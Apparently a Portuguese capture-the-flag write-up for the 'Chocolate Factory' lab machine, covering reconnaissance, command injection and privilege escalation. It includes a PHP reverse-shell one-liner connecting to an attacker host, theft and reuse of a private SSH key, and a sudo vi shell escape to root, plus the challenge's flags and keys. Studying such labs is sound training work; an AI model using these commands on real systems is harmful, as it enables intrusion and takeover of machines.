

Chocolate Factory é uma máquina de nível fácil que se mostra vulnerável a ataques de força bruta e apresenta permissões de usuário mal configuradas. Tais fragilidades permitem a obtenção de uma shell reversa (via NetCat) e a escalada de privilégios por meio da execução do editor Vi (denominação utilizada para o Vim em alguns sistemas Unix).

RECURSOS UTILIZADOS:

GoBuster

Netcat

GTFOBins

RECONHECIMENTO:

Procede-se à inserção do endereço IP fornecido em um navegador, verificando-se a existência de um servidor HTTP em execução.

Consultando o repositório do pentestmonkey, encontramos diversos exemplos de comandos para estabelecer uma conexão reversa. Como a página em que injetamos comandos usa extensão .php, escolhemos a seguinte linha para enviar através do parâmetro vulnerável, substituindo o IP pelo endereço da máquina do atacante:

```
$ php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
```

Ao executar whoami, vemos que o usuário atual se chama www-data.

```
$ whoami  
www-data
```

Em seguida, lê-se o arquivo key_rev_key para obter a primeira chave exigida pelo desafio:

```
$ cat key_rev_key  
ELF>#@#8  
hh/lib64/ld-linux-x86-64.so.2GNU$sr5d#  
...  
Congratulations you have found the key: b'-VkqXhF6sAEcAwrc6Yr-  
SZbiuSb8ABXeQuvhcGSQzY='  
Keep its safeBad name!$*****
```

Examinando outro arquivo, descobrimos as credenciais do usuário charlie e a próxima resposta do questionário:

```
$ cat validate.php  
<?php  
    $uname=$_POST['uname'];  
    $password=$_POST['password'];  
    if($uname="charlie" && $password="cn7824"){  
        echo "<script>window.location='home.php'</script>";  
    }  
    else{  
        echo "<script>alert('Incorrect Credentials')</script>";  
        echo "<script>window.location='index.html'</script>";  
    }  
}
```

Para levantar mais dados sobre charlie, acessamos a pasta /home, onde existe um subdiretório com seu nome.

```
$ cd /home
```

```
$ ls
```

```
Charlie
```

```
$ cd charlie
```

Dentro de seu diretório pessoal, há dois arquivos de chaves SSH e um arquivo user.txt contendo a próxima flag.

```
$ ls
```

```
teleport
```

```
teleport.pub
```

```
user.txt
```

Transferimos a chave privada (teleport) para um arquivo na máquina atacante e, com ela, abrimos uma nova conexão SSH em outro terminal, assumindo a identidade de charlie.

```
The authenticity of host '10.10.129.69 (10.10.129.69)' can't be established.
```

```
...
```

```
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-15-generic x86_64)
```

Uma vez logado como charlie, exibimos o conteúdo de user.txt, obtendo a flag e respondendo a mais duas perguntas do desafio.

```
charlie@chocolate-factory:/$ cd /home
charlie@chocolate-factory:/home$ cd charlie
charlie@chocolate-factory:/home/charlie$ cat user.txt
flag{cd5509042371b34e4826e4838b522d2e}
```

Para identificar possíveis formas de subir privilégios, executamos:

```
charlie@chocolate-factory:/home/charlie$ sudo -l
```

Matching Defaults entries for charlie on chocolate-factory:

```
Env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/loca
```

User charlie may run the following commands on chocolate-factory:

```
(ALL : !root) NOPASSWD: /usr/bin/vi
```

Acessamos o site GTFOBins, buscamos por vi e encontramos a linha que permite obter uma shell como root:

```
$ sudo vi -c '!/bin/sh' /dev/null
```

Dentro da sessão como root, navegamos até /root e executamos o script root.py. O programa solicitará a chave descoberta anteriormente. Após inseri-la, somos recompensados com a flag final, que corresponde ao último item do questionário.

```
# cd /root
```

```
# python root.py
```

Enter the key: b'-VkgXhFf6sAEcAwrc6YR-SZbiuSb8ABXeQuvhcGSQzY='